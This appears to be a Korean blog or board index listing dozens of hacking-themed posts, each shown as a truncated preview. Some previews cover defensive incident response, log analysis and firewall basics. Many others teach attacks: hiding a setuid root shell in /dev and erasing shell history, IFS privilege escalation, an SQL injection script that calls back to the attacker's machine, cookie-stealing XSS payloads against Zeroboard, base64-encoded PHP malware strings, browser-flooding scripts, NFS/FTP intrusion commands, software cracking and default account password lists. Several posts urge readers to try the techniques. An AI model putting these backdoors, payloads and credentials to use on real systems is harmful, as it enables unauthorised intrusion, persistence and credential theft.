[리눅스해킹]  리눅스 해킹사고 분석 및 대응절차 리눅스 해킹 사고시 구체적인 대응방법을 모르는 초보 관리자라면 다음과 같은 절차를 통해서 피해 시스템을 분석하는것도 하나의 도움이 될 수 있다. 실제 해킹된 서버 예를 들어서 아래의 대응 절차를 이용하여 피해 시스템을 분석해 보고 대응 방법을 논의해 보자. 리눅스 해킹 사고 분석 및 대응 절차1. 해킹 의심 상황 포착2. 외부에서 nmap 명령어로 포트 스캔3. chkrootkit, rootkit hunter등으로 명령어 변조와 rootkit 존재 여부확인4. 해커가 시스템의 권한을 어느정도까지 확보했는지 확인5. 변조된 파일...
[리눅스해킹]  백도어만들기 아주 간단한 백도어 화일숨기기 [r00t@webD r00t]$ cd /dev [r00t@webD /dev]$ ./sh [r00t@webD /dev]# exit exit [r00t@webD /dev]$ ls -l sh -rwsr-xr-x 1 root 65535 300668 Dec 28 22:29 sh [r00t@webD /dev]$ ./sh [r00t@webD /dev]# id uid=65535(r00t) gid=65535 euid=0(root) [r00t@webD /dev]# ln -s /dev/null /root/.bash_histor...
[리눅스해킹]  유닉스 & 인터넷 그리고 해킹 @인터넷 & 유닉스의 이해 인터넷(Internet)이란 전세계적인 통신망이란 사실은 이미 알고있을것이다. 우리나라에만 하이텔,천리안,나우컴..... 무수한 통신망이 존재한다. 인터넷이란 이런 각종 통신망이 하나로 연결된 망중의 망이다. 이렇게 인터넷으로 묶인 컴퓨터들은 대부분 UNIX라는 운영체제를 쓴다. 인터넷 접속시 천리안,하이텔등에 접속하면 나오는 메뉴와는 차이가 나는데 상대방 컴퓨터에 연결되면 마치 자신의 컴퓨터를 부팅시킨 후와 마찬가지로 c:\< 와같은 prompt가 떨어 진다. 키보드는 우리 집에 있지만...
[리눅스해킹]  해킹당한 서버에서 확인해야할일 해킹 피해시스템 분석 절차 이 문서는 시스템이 침입을 당했을 경우 유닉스 시스템의 보안을 위해 무엇을 할 것인가를 알려준다. 또한 아직 침입을 당하지 않은 상태라도 시스템 보안점검에 도움이 된다. 1. 해킹 피해시스템 분석 절차 가. 시스템 침입흔적 조사 방법 특별한 장소 또는 행위로부터의 접속에 대한 로그파일을 조사한다. - last, syslog, 프로세스 로그와 그밖에 다른 로그파일을 조사한다. - access-log, xferlog 등 주요서버의 로그파일을 조사한다. - 방화벽 또는 라...
[리눅스해킹]  리눅스 커널 Time_Out_Leases PrintK 로컬 서비스 거부 취약점 Bugtraq ID: 15627 Class: Design Error CVE: CVE-2005-3857 Remote: No Local: Yes Published: Nov 29 2005 12:00AM Updated: Dec 09 2005 08:49PM Credit: This issue was reported to the vendor by Avi Kivity. Vulnerable: Trustix Secure Linux 3.0 Trustix Secure Linux 2.2 Trustix ...
[리눅스해킹]  실제 사이트해킹 어떻게 이루어지는지 알아보기 드디어 실제적인 사이트 공략법을 배워보실 차례입니다. 처음부터 차근차근히 읽어내려 오셨다면 기대가 크시겠네요.. 기대에 부흥을 할 수 있을런지.... 웹서핑을 하다보면 수많은 유료사이트들을 접하게 됩니다. 그 수많은 유료사이트들에 발맞춰 소위 유료사이트들의 회원들을 관리해주고 돈을 대신받아서 웹마스터들에게 수익을 전해주는 인증업체(payment provider for the internet)라는 곳이 생겼지요. 이런 문구를 많이 보셨을 겁니다. ibill, msbill, lancelot, SSL, ccbill, grobill ...
[리눅스해킹]  해킹정보 예전에 있었던 해킹유형과, 예전의 버그들을 살펴보자. 물론 언론매체의 성 격상 현재 가장 심각한 홀(보안구멍)들은 싣지 않았다. 또한 분량상 수많은 버그들 중 극히 일부 분만을 다루었다. /usr/local/bin/sysinfo version 1.0.0 의 버그 유닉스 시스템에는 IFS(Internal File Seperator)라는 환경 변수가 있다. 이것이 shell 변수로 선언할 때 여러 문제를 일으키는 경우가 많다. IFS라는 환경변수를 내부 유저들이 마음대로 조작해 관리 자의 권한을 얻어낼 수 있는데 이러한 유형의 해...
[리눅스해킹]  유닉스/통신망 해킹에 대한 심화학습 대개의 호스트는 유닉스를 사용합니다. 이때 핵심이랄지 할것이 바로 아이디 해킹일겁니다. 도스와 다른 유닉스의 특징이 바로 login 이죠. 자신의 아이디가 해킹 당했다면 큰일이죠. 그래서 패스워드를 어렵게 만드는 것이 중요합니다. 해커들이 해킹할때는 이 패스워드를 알아내거나 유닉스 시스템의 홀을 찾는 방법을 사용하는 것이죠. 다음 몇몇 호스트를 해킹하는 예를 들어보이겠습니다. 다음은 KIDS bbs를 해킹한 사례입니다. kids의 도메인 어드레스는 kids.kotel.co.kr 이다. 우선 telnet 로 kids에 접속...
[리눅스해킹]  유닉스 & 인터넷에서의 해킹이란 인터넷 해킹이야기를 많이 들었을것이다. 인터넷이 왜 그렇게 해킹을 잘 당하냐구 궁금해 할것이다. 이유는 간단하다. 인터넷은 아직 그 기능적인 면이 취약하다. 어떤 강력한 조직체에서 일괄적인 관리를 하는게 아니니 더욱 그러하다. 대부분의 인터넷 관련 명령어들이 유닉스상에서 명령어를 사용한다. 그렇기때문에 유닉스에 대해 잘알고 있는 사람이라면 해킹은 충분히 가능하다.. 천리안도 호스트는 유닉스지만 명령어를 바꿔서 쓰기때문에 해킹이 힘들어 지는 것이다. 인터넷에서 가장 유명하고 현재도 쓰이는 공격법으로 E-MAIL(전자우편)을 이용...
[리눅스해킹]  유닉스,TCP/IP 보안 취약성 인터네트에서는 정보보안이 취약하다. 인터네트에서 제공하는 서비스(FTP,Telnet ,DNS,SMTP,NFS등)가 근본적으로 갖고 있는 보안에 대한 취약성과 잘못된 호스트 구성, 접근통제(Acces Control) 등에 기인한다. 인터네트에서 제공하는 서비스는 약5백개에 달한다. 이들 각각은 외부에서 침투할 경우 주요 공략 대상이 된다. 따라서 보안에 대한 시스템 관리자의 역할은 매우 중요하며 정기적인 보안대책 수립 및 실행, 인터네트 서비스들의 로그파일 분석 등 보안상황에 대한 수시 점검이 필요하다. 인터네트에서 발생한 보안...
[리눅스해킹]  suid script나 프로그램으로부터 root로 이동할 수 있는가? 1. IFS를 변경하라. 프로그램이 system() 함수를 이용하여 다른 프로그램을 호출하면,프로그램을 속여서 IFS를 변경 할 수 있다. IFS는 인자를 구분하기위해 사용된다. 프로그램이 다음과 같은 함수를 사용한다고 가정하자. system("/bin/date") IFS를 '/' 로 변경하면 shell은 '/'을 단지 bin 과 date을 구분하기 위하여 사용하므로(디렉토리 를 구분하기 위한 역할은 사라진다) /bin/date 을 'bin date'로 해석하게 된다. 누군가가 'bin'이라는 경로에 자신의 프로그램을...
[리눅스해킹]  NIS/yp는 무엇인가? 전에는 yp (Yellow Pages)라고 알려졌던 NIS (Network Information System) 의 주 목적은 패스 워드자료와 같이 네트워크를 구성하는 여러 CONFIGURATION DATE를 다양한 시스템이 공유할 수 있 도록 하기 위해 만들어졌다. 그러나 단지 시스템의 보안을 증가시킬 목적으로 만들어진 것만은 아니다. NIS를 이용하면 /etc/passwd 파일은 다음처럼 아주 간단해진다. 이 파일의 내용을 보려 면 ypcat passwd라는 명령어를 이용한다. +::0:0::: 6.'ypcat ...
[리눅스해킹]  NFS에는 어떤 허점이 있는가? NFS의 보안은 서버가 만들어내는 파일을 설치하는 사람에게 크게 의존한다. 호스트가 만들어낸 디렉토리를 설치하기 위하여 정확한 포맷을 정하는 것은 유 닉스의 종류에 따라 다양하지만, 일반적으로는 그 정보는 화일 '/etc/exports'에 저장된다. 이 화일은 많은 디렉토리를 가지고 있으며,각각은 NFS가 그 디렉토리 로 mount할 수 있는 특정한 호스트 또는 넷그룹의 목록을 가지고 있다. 이목록 은 'access list'라고 불린다. 'hosts'는 개별적인 시스템이지만,'netgroups'는 '/etc/netg...
[해킹정보]  해커의 정체를 밝힌다. 해커란 해킹을 하는 사람을 뜻한다.대부분의 해커들은 단지 그들의 실력을 뽐내기 위함이다.매년 암스텔담에서는 국제 해커 대회가 열리기까지 한다.순수한 의미에서 그들은 단지 시스템을 뚫고 암호를 깨고 하는 일등에 만족한다.미국 MIT에서 시작된  해커 문화는 사실 초기 컴퓨터 및  시스템 소프트웨어의 개발에 결정적인 역할을 했고 지금도 몇몇 사람은 컴퓨터 업계를 주름잡고 있다. 마지막 해커로 일컬어지는 리처드  스톨만의 경우 GNU시스템의  C 컴파일러와  EMACS를 개발했다.&nbs...
[해킹정보]  키로그 프로그램 종류 및 설명 키로거 프로그램 이 란?키로거 프로그램은 사용자의 PC에 악의적인 목적으로 설치되어 프로세스로 상주하면서 키보드에 입력된 모든 기록들을 .txt 혹은 지정된 확장자로 저장되게 하는 프로그램을 말한다.해당 프로그램은 키보드의 내용 저장뿐만 아니라 화면을 캡쳐하거나 작업기록들을 저장한다.또한 악의적으로 설치될경우 이메일 혹은 지정된 서버로 캡쳐 화면이나 작업기록 및 키보드입력으로 발생되는 아이디 및 패스워드가 그대로 전송된다.키로거 프로그램 종류?achtung - Codex Data Systems 에서 개발한 윈도우용 키로그 툴e...
[해킹정보]  iframe hacking 당한 후에 사용한 치료용 스크립트 실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을 수정하는 방식으로 되어 있다. <?php//usage : php -f kickHack.php @infected directory root $hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCR...
[해킹정보]  백도어란 ? 무슨프로그램일까요. ㉠ 백도어란 ? 백도어(Backdoor) 프로그램은 주로 해킹을 할 때 사용하는 프로그램으로, 기존의 프로그램이 가지고 있는 어떤 허점을 이용하는걸 말한다. 하지만, 여기서 말하는 백도어는 사용자 몰래 사용자 정보를 저장, 혹은 빼내어갈 수 있는 프로그램으로 정리 할 수 있다. ㉡ 대표적 백도어 프로그램 백오리피스류 그외 변이잡종으로는 (보서브.딥보.넷버스.NUKE.스쿨버스.메테오르..등등) `백오리피스 2000(Back Orifice 2000)`은 지난 1998년 8월 `Cult of the Dead Cow`에서 발표된 백...
[해킹정보]  sql 인젝션용 스크립트 제작 SQL 인젝션을 익스플로잇하기 위한 스크립트 제작 vulnerablesite.com의 웹 서버는 MS SQL 데이터베이스에 sa 권한으로 접속하지 않았다. 따라서 바로 스토어드 프로시저 실행과 같은 상위 권한이 필요한 작업들은 실행이 불가능했다. 따라서 다음과 같이 다른 MS SQL 서버에 접속해 명령을 실행하는 스크립트를 짜고 여러 서버에 대해 명령을 실행해 보았다. 해당 서버에서 명령 실행이 잘 됐는지 여부는 ping이나 telnet으로 공격자의 컴퓨터로 패킷을 보내도록 하고, tcpdump로 그 패킷을 모니터링하는 방법...
[해킹정보]  제로보드 취약점 총정리 ■ 크로스사이트 스크립팅 취약점(2005.02.19) The following proof of concept examples are available: http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E% 3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/zboard.php? id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%...
[해킹정보]  웹서버를 경유한 DB서버 해킹 본 문서는 방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는 서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다. ----------------------------------------------------------------------------------------------------------------- I. 네트워크 구성도 1) 인터넷 -------방화벽------- 웹서버 --------방화벽---------DB서버 2) 인터넷 -----...
[해킹정보]  FTP 명령어 삽입을 이용한 공격 웹브라우저로 접근하는 FTP를 이용한 원격 명령 취약점 입니다. Summary Konqueror is "a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This application is usually used to navigate through the file systems". Both Konqueror and Internet Explor...
[해킹정보]  메일서비스에서 자바스크립트 금지를 회피하기 예전에 쿠키 스니핑이 이슈가 된적이 있었죠? 지금도 쿠키 스니핑이 되는 것들이 많이 있습니다. 이 쿠키 스니핑이 이슈가 된 후에 많은 메일 서비스 회사들이 쿠키 스니핑에 이용되는 javascript 를 사용하지 못하도록 막아놓았습니다. 특정 문자열을 다른 문자열로 바꾼다던지 하는 방법들을 사용해서 막은 것이죠. (그런데 어떤 회사들은 아예 대처를 하지 않았더군요. 여기선 그나마 대처를 해놓은 서버들에 대한 필터링 방법에 대해서 이야기합니다.) 하지만 이 것들을 다른 방법으로 피해갈 수 있습니다. 먼저 그 ...
[해킹정보]  Norton Anywhere 크랙하기 Norton Anywhere ver 8.0 Cracking Tools required Soft-Ice 3.2 ( 3.2 이후의 어떤버전이든 상관없음.) W32Dasm (any version should do, 8.93버전을 사용하면 더욱 좋음.) An hexeditor ( 나는 UltraEdit 6.00a를 사용함. 어떤 거든지 상관없음, 본인이 쓰기에 편하기만 하면 됨.) Target PcAnywhere ver 8.0 Name : Winaw32.exe Size : 664,576 Bytes Name : A...
[해킹정보]  Netstat을 이용하여 트로이 공격 확인하기 netstat 는 잘만 사용하면 내 컴퓨터에 깔린 트로이를 발견할 수도 있고 ICQ나 AIM 등의 채팅 프로그램 밎 냅스터, 소리바다 등의 MP3 다운 프로그램을 사용할 때 상대방의 IP 번호를 알아낼수 있다. 1) netstat 실행하기 시작 - 프로그램 - 한글 MS-DOS 를 클릭해 도스창을 연다. C:\windows 라고 써 있고 커서가 깜빡깜빡거릴 것이다. 여기에 netstat 를 입력하고 엔터를 친다. 대충 다음과 같은 화면이 나타날 것이다. Proto Local Address Fo...
[해킹정보]  침입자 로그 추적 ◇< 서두. '침입자 로그추적' 문서는 binish에 의해 작성된 보안관련 문서입니다. 널리씌여 인간을 이롭게하자는 홍익인간 정신에 근거, GNU 정신으로 샤워한 이 문서로 아무쪼록 작게나마 도움이 되셨으면 좋겠습니다. B) (유닉스를 바탕으로 설명합니다) ◇< 침입자들의 발자국 지우기. 침입자들이 쉘을 얻어내서 루트 권한을 따내면 일을 마치고 그들의 자취를 감추기 마련이다. 이때 그들이 하는 분명한 짓을 알아보자. /etc/syslog.conf 에서 로그상태를 분석해서 로그를 찾아나간다. /var/adm/mes...
[해킹정보]  해킹 프로그램중 키로그에 대해서.. 해킹 프로그램 중에 키로거(Key Logger) 이라는 프로그램이 있죠. 키로거 계열의 해킹프로그램의 역할은 사용자가 컴퓨터를 사용하면서 치는 자판의 내용을 그대로 저장하는 역활을 합니다. 그럼 당연히 아이디와 비밀번호는 빠져나가겠죠. 해킹에 조금이라도 관심이 있으면 다 아는 이런 간단한 내용을 새삼스럽게 꺼내는 이유는 일반 사용자들이 알고 있는 키로거 프로그램과 조금은 다른 형식의 키로거를 소개하면서 거기에 대한 경각심을 일깨우기 위해서 입니다. 어떤 지식이든지 완벽하게 알지 못하고 이제 배워가기 시작하는 단계가...
[해킹정보]  Hacking 기법 대충알아보기 1)DoS, DDoS DoS(Denial of Service)란, 서버의 존립목적인 서비스를 못하도록 하는 방법으로서 공격장소에 따라 local과 remote로 나눈다. 가) local DoS 일반적으로 local DoS공격은 공격자가 시스템에 들어와서 시행하는 방법이다. 끝임없이 프로세스를 만든다거나 잘못된 명령을 루프로 계속 돌린다거나.. 기타 시스템에 크게 무리를 주어, 시스템을 마비 시키는 공격법이다. 예) Exploer4.0에서.. 자기참조프레임 나) remote DoS 대부분의 네트웍상에서 이루어지는...
[해킹정보]  스캐너의 활용 ※ Scanner의 활용 예전부터 전략과 전술중 가장 선행되어야 할것이 知彼知己였다..이 불변의 진리는 오늘날의 Hacking에도 적용되느니.... 오늘은 知彼에 해당하는 스케너의 종류를 알아보고 효율적인 attack을 위한 스케너의 활용에 대해서 공부해 봅시다. 1. 스케너란? 스케너란 시스템의 보안상 헛점을 찾아내는 보안도구를 의미한다. 간단하게 포트스켄 뿐만이 아니라 여러가지 버그 및 알려진 보안상의 문제점등과 또한 시스템 관리차원의 내부 스케너도 있다. 스케너의 종류는 무진장 많지만 크게 나누다면 다음과 같다. ...
[해킹정보]  대화방 해킹 두번째 위에것의 변형인데 이것이 바로 폭탄(주의:이걸쓰면 자신도 똑같이 당함^^) [script] for(i=1;i0;i++){window.open("");}[/script] 상대방을 다른 사이트로 보낼고싶을때 사용 [script] location.href="보내고자하는주소입력";[/script] (예)[script] location.href="http://www.yahoo.co.kr";[/script] [script] {window.open("보내고자하는주소입력");}[/script] (예)[script] {window.ope...
[해킹정보]  네트워크 IP 1. IP란? IP는 비신뢰성 및 비연결 데이터 전송을 위한 프로토콜입니다. 가장 널리 사용되어 지고 있으며, 데이터그램 전송이 주목적입니다. IP 프로토콜은 라이팅 기능과 Fragmentation/Reassembly 기능으로 크게 분류할수 있습니다. 2. IP의 헤더 IP 프로토콜로 데이터 전송을 하기 위해선 IP 헤더가 필요합니다. IP 헤더에는 출발지 IP와 도착지 IP 주소와 버전, 옵션 등을 지니고 있습니다. IP 헤더의 크기는 보통 20바이트를 가지며 옵션을 가질수 있으므로 크기는 옵션의 따라 달라질수도 있...
[해킹정보]  인터넷에 대한 확실한 정의 네트워크의 처음 목적은 군사적인 것이었습니다. 미국 국방성에는 그 당시 소련의 핵폭격이나 그에 준하는 공격을 가상하여 이 경우에도 작동이 가능한 매우 신뢰성있는 컴퓨터 네트워크가 필요하다는 결론에 도달하였습니다. 즉, 이 네트워크는 중간에 있는 몇개의 시스팀이 폭격으로 부서지더라도, 다른 시스팀을 통해서 연결이 되기를 바랐던 것입니다. 1960년대 후반에 미국 국방성은 여러대의 컴퓨터들을 네트워크로 연결했습니다. 물론 이는 군사 적 목적을 위한 연구였고 이 네트워크는 ARPAnet 이라고 이름 붙여졌습니다. 이 네트워...
[해킹정보]  아래한글 2.X 암호 해독 사건 아래한글 2.X 의 암호 크랙(CRACK) 사건 개요 슈퍼컴퓨터로도 1백30년이상 걸려야 겨우 풀 수있다는 아래아한글의 문서암호를 27세된 한 청년 컴퓨터전문가가 간단히 풀어냈다. 아래아한글 제작사인 한글과컴퓨터(한컴)사는 그간 "문서잠금 암호기 능이 42억9천4백96만7천2백95개의 숫자를 조합해 만든 것이기에 어떤 전 문가도 감히풀 수 없다"고 장담해온 터였다. 컴퓨터를 이용한 전통적인 암호해독법은 코드 자동입력 소프트웨어를 써서 각가지 경우의 수를 빠른 속도로 무작위 입력시켜 보는 방법에 의존 하는 것...
[해킹정보]  WWW 의 소개! WWW(World Wide Web, 인터넷 하이퍼텍스트)은 인터넷을 이용한 검색 도구라 하겠다. 여지껏 우리가 보아오던 텍스트 방식이 아닌 멀티미디어에 근접한 음성,화상 정보 서비스라 할것이다. 이것은 CERN(the Eurobean Laboratory for Particle Physics)의 주도하에 만들어진 산물로 고퍼, anonymous FTP, 아키, 유즈넷,텔넷 등으로 이용할 수 있는 모든 서비스 를 모두 사용할수 있다는 매력도 갖고 있다. 이러한 WWW의 브라우저로 가장 많이 애용되는 것은 익스플로러와 넷스케이프...
[해킹정보]  FTP 이용 해킹 1. 다른 시스템의 남의 디렉토리 접근하기 먼저 showmount로 상대편 시스템의 디렉토리중 공개된 디렉토리를 찾는다. evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4...
[해킹정보]  해킹의 최신 형태와 방지 테크닉 인터넷의 개방성과 정보공유 및 교환의 용이성으로 인해 인터넷사의 해킹사건은 날로 그 빈도수가 높아가며 그 유형 또한 고 도화하고 그로 인한 피해의 심각성은 하루가 다르게 변모하고 있다. 특집II에서는 5월호와 6월호 두달에 걸쳐 해킹방지 테크닉을 기획했다. 이를 통해 해킹패턴의 변화를 살펴보고, 최근에 일어나고 있는 구체적인 해커 침입경로와 형태, 그리고 그에 대한 방 지책을 자세히 들여다보기로 한다. 초보자들의 이해를 돕기 위해 해킹과 보안에 관련한 개괄적인 내용은 월간 Internet 95년 7월 호부터 11월호를...
[해킹정보]  Network 해킹과 보안 Network 해킹과 보안 지금까지 너무도 많은 분들이 네트워크 해킹과 보안에 굉장히 많은 관심을 가지고 계셨을 거라 생각합니다. 먼저 네트워크 해킹에는 어떤한 장비나 환경이 꾸며져 있어야 하는지 알아보겠습니다. ■ 네트워크 해킹 준비물 ■ 1.인터넷 접속을 위한 장비 인터넷 전용선을 사용하는 분이라면 자신의 PC(단말기)에 LAN카드가 있어야 겠죠? 전화선을 이용해서 인터넷에 접속을 해야하는 분은 Modem이 달려 있어야 합니다. 물론 Modem을 통해 인터넷에 접속을 위해서는 인터넷 서비스에 가입이 되어 있어야 ...
[해킹정보]  IP 스푸핑이란? IP 스푸핑이란? spoof란 단어는 '속이다, 사기치다'는 뜻이다. 즉 쉽게 설명하면 해커가 머물러있는, 또는 단순히 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것이다. 가령 A란 호 스트와 B란 호스트가 하드디 스크를 공유하고 있는데 A 란 호스트와 B란 호스트는 보안이 잘 되 어서 해킹하기가 보통 어려운 것이 아니라고 하자. 하지만 어떻게서든지 B란 호스트 안에 있는 일급 극비 문서를 훔쳐오고 싶다면 어떻게 해야 할 까? 그렇다면 해커의 최선의 선택 방법은 다음과 같다. 우선 자신이 머물러 ...
[해킹정보]  수퍼해커의 해킹비밀 8 사용자들에게 배포된다. 예를 들어 한 사무실의 비서들은 한 계정을 공 유하는 경우가 있다. 대화명(handle) 가명, 별명, 흔히 BBS 상에서 쓰인다. 대화모드(talk mode) 다른 사용자와의 온라인 대화로 들어간 상태. 당신이 입력하는 내용은 당신의 화면에 나올 뿐만 아니라 상대방의 화면에도 출력 된다. 상대방도 마찬가지이다. 당신이 유닉스 시스템을 사용하고 있고 smuggy라는 사용자가 현재 접속하고 있다는 사실을 안다면, 'talk smuggy'라고 입력하면 smuggy가 ...
[해킹정보]  수퍼해커의 해킹비밀 7 돈이 남아돌거나, 해킹 시 비용을 부담할 생각이라면, 해킹할 때 항 상 호텔이나 모텔에 투숙해도 된다. 돈 문제는 해커를 다른 길로 빠지게 하는 한 요소이다. 통화 요금은 빠르게 인상되고 있고 이런 이유로 대부분 의 진지한 해커들이 프릭(phreak, 전화도용자)이 되어버린다. 프릭이란 전 화 네트워크를 해킹 하는 사람을 지칭한다. 전화도용의 주목적 중 하나는 장거리 전화를 공짜로 사용하는 것 같은 특별한 기능을 수행할 수 있도록 전화기 시스템에 음성 코드 같은 신호를 보내는 것이다. 전화도용은 해...
[해킹정보]  수퍼해커의 해킹비밀 6 exit 이것은 진짜 명령어는 아니다. 단지 시솝의 주의를 끌 만한, 사용 권한을 높이려는 뻔뻔스러운 시도를 보여주고자 함이다. 이러한 문제점을 제거하 기 위한 방안은 당신의 주 프로그램으로 하여금 필요한 다른 프로그램이나 배치 파일을 생성해 내도록 만드는 것이다. 배치 파일은 실행 프로그램 속 의 암호화된 쓸데없는 메시지로부터 시작될 수도 있다. 서브루틴이 호출되 면 텍스트 파일을 열고 명령어들을 해독해서 하나의 파일을 그 명령어들을 이용하여 만들고 원래의 임무로 복귀시키는 것이다. 이 파일을 생성하는 ...
[해킹정보]  수퍼해커의 해킹비밀 5 제8장 현장에서의 해킹:침입자 해커 회사 본부로 걸어 들어가 거기서 발견한 컴퓨터를 사용하는 일은 무모하 고 위험한 일이다. 하지만 짜릿한 일이기도 하다. 제한 구역으로 교묘히 들 어가서 빌딩과 컴퓨터 시스템 모두를 탐험하는 일은 흥분되는 경험이다. 지난 장에서는 공중이 사용하는 컴퓨터를 탐색하는 방법에 대해 이야기 했지만 현장에서의 해킹에는 또 다른 일면이 있다. 이런 일은 첩자나 도둑 에게 적격이라고 생각하기 쉽겠지만 실제로 당신도 여기에 한몫 낄 수 있 다. 내가 말하고자 하는 바는 공중이 쓰는 컴퓨터가...
[해킹정보]  수퍼해커의 해킹비밀 4 제 2부 해킹하는 동안 제 7장 공용 컴퓨터 단말기 세 가지 종류에 대한 소개 최근에 대형 상점가에 가본 적이 있는가? 의류점, 전자제품점과 식품점 뿐 아니라 미니 골프장, 전자 오락실, 은행, 우체국 기타 당신이 생각할 수 있거나 없는 무언가가 있는, 마구 뻗은 거대한 상점가 말이다. 이전에 볼 수 있었던 '현재위치 -<'가 표시되어 있는 큰 지도 대신에 이제는 상점 가 안에서 길 찾는 것을 도와주고 상점가와 행사들을 알려주는 터치 스크 린이 장착된 컴퓨터를 종종 발견할 수 있다. 나 자신은 상...
[해킹정보]  수퍼해커의 해킹비밀 3 이 책을 집필하는데 사용했던 자료 중 하나는 인기 있는 상용정보 서비스에 대한 비공식 매뉴얼이다. 여성인 저자는 책의 구석구석에서 그녀의 얘완동물인 고양이, 좋아하는 필라델피아의 부드러운 비스킷, 응원하던 미식 축구팀, 자기 남편과 아이들, 그리고 최근에 흥미를 가진 컴퓨터 분야에 관해 자주 언급하였다. 내용 중 언급된 그녀의 생활 습관에서뿐만 아니라 서비스의 'Find'명령어를 설명하면서 예를 적어 놓은 메시지와 출력 문자에까지 이런 인용들은 빠지지 않고 등장하였다. 물론 나는 그 저자의 이름을 알고 있다. 그녀가 그 서비스...
[해킹정보]  수퍼 해커의 해킹 비밀 수퍼 해커의 해킹 비밀지은이: 나이트메어(Knightmare)출판사: 연암출판사봉사자: 삼육대학교 고나현"수퍼 해커의 해킹 비밀은 매력적인 설명서이다. 제아무리 견고한 컴퓨터 시스템일지라도 손쉽게 침투해 들어갈 수 있음을 생생하게 폭로한다." -더 샌프란시스코 크로니쿨(The San francisco Chronicie)"책의 표지 선전과 걸맞는 내용을 가진 책은 흔치 않다. 하지만 여기 이 책은 가장 걸맞는 책이라 할 것이다. 나이트메어(Knightmare)가 쓴 수퍼 해커의 해킹 비밀은 '모든 보안 관리자의 끔직한 악몽(ni...
[해킹정보]  일반적인 공격 형태 Cracker들이 시스템에 침투하여 root를 따내는 과정까지의 실제 모습을 그려보도록 하자. 꼭 정해진것은 아니지만 보통의 공격 방법은 아래와 같다. 1) local attack 시스템에 계정을 가지고 쉘서비스를 통해서 공략하는 방법이다.(대부분은 lab 서버에서 시행되고 있는) 가) 취약프로그램 찾기 find 명령이나 아님 기존에 버그를 가지고 있는 프로그램의 경로를 찾아서 공격대상 프로그램을 찾는다. suid(root) 예) find / -perm -4000 -user root ...
[해킹정보]  해킹 기법에 대해서 간단한 소개 1)DoS, DDoS DoS(Denial of Service)란, 서버의 존립목적인 서비스를 못하도록 하는 방법으로서 공격장소에 따라 local과 remote로 나눈다. 가) local DoS 일반적으로 local DoS공격은 공격자가 시스템에 들어와서 시행하는 방법이다. 끝임없이 프로세스를 만든다거나 잘못된 명령을 루프로 계속 돌린다거나.. 기타 시스템에 크게 무리를 주어, 시스템을 마비 시키는 공격법이다. 예) Exploer4.0에서.. 자기참조프레임 나) remote...
[해킹정보]  웹해킹 - 윈도로 할 수 있는 해킹들 윈도우로 할 수 있는 해킹들 이 강좌에서는 하이텔 같은 가장 취약한 온라인 서비스에서 윈도우95 운영체제로도 아주 심각한 인터넷 해커들만이 할 수 있는 몇 가지 해킹법을 가르쳐 주겠다. 한 번 해 보라. 바로 오늘! 이 강좌의 내용은 다음과 같다. ▶윈도우 95의 잘 알려지지 않은 도스 명령어를 사용하여, 유명한 온라인 서비스 제공업체에서 사용하는 컴퓨터를 추적하고, 포트 서핑하기 ▶아주 유용한 해킹 툴인 whois, nslookup, 그리고 dig 등을 사용할 수 있는 컴퓨터로 텔넷해 들어가기 ▶윈도우에서 사용할 수 ...
[해킹정보]  방화벽시스템의 기본 구성 요소 방화벽시스템에 대한 각종 토론이 이루어지는 그룹에서는 방화벽시스템에 대 한 일반적인 용어 정의 및 개념을 설명하고 있다. 방화벽시스템이 가지는 여러가 지 기능과 보안 대처 수준에 따라 여러가지 종류의 방화벽시스템이 존재할 수 있 으나, 여기서는 일반적인 방화벽시스템의 구성요소를 소개한다. 이는 방화벽시스 템 개발자, 운영자 및 컨설트업체들이 거의 동의하고 있는 개념이다. 1)네트워크 정책(Network Policy) 방화벽 시스템의 설계, 설치, 사용에 직접적으로 영향을 줄 수 있는 두가지 레벨의 네트워크 ...
[해킹정보]  최근에 주목받고있는 대표적인 해킹방법 * IP Spoofing 인터넷 프로토콜인 TCP/IP의 구조적 결함, 즉 TCP 시퀀스번호, 소스 라우팅, 소스 주소를 이용한 인증(Authentication) 메커니즘 등을 이용한 방법으로써 인증(Authentication) 기능을 가지고 있는 시스팀을 침입하기 위해 침입자가 사용하는 시스팀을 원 호스트로 위장하는 방법이다. 즉, 자신의 컴퓨터를 상대방의 컴퓨터인것처럼 가장하는 방법인데 상대의 보안 시스템은 나의 침입을 알지못하고 나를 자신으로 아는것이다. 이방법은 NASA 에 침투할 대표적인 방법이다. # Pack...
[해킹정보]  백도어와 개구멍 백도어를 아십니까? 일명 뒷문이라고 하죠. 해커가 침투(?)해서 자신이 원하는 작업을 한후 차후에 또 접속하기위해 백도어를 설치하는 것입니다. 즉, 백도어란 ROOT의 관리자 모르게 자신에게 ROOT권한을 부여한 퍼미션을 열어두는 것이죠. 아래 설명하는것은 초보적인 것들이기에 웬만한 보안툴에는 다 잡히지만 게으른 관리자도 많으니 한번 해보시길... 예를 들어봅시다. (1) 기초적인 것으로 /dev 디렉토리에 suid된 shell을 숨겨둡니다. /dev에는 많은 파일이 들어 있으므로 섣불리 ls해 보지는 않는다는 ...
[해킹정보]  각 시스템에 따른 어카운트는 무엇인가? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm/password ibm/2222 ibm/service qsecofr/1111111 qsecofr/...
[해킹정보]  시스템은 어떤것들인가? 다음은 각 시스템들의 로그인 화면이다. AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen] AS/400 ~~~~~~ UserID? ...
